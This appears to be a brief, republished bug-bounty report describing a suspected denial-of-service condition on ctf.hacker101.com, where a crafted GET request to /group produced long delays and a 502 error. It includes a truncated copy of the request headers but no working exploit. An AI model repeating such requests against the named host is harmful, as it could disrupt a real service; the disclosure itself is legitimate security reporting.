Attacker with an Old account might still be able to DoS ctf.hacker101.com by sending a Crafted request
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**Summary:** by sending a crafted request on ctf.hacker101.com a very long delay with a response of error 502 has been observed I suspect that if I made this request on multiple tabs on my browser concurrently, it may cause ctf.hacker101.com to crash thats why I haven't tried it.
原文中的代码
GET /group HTTP/1.1 Host: ctf.hacker101.com User-Agent: Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.117 Mobile Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 …
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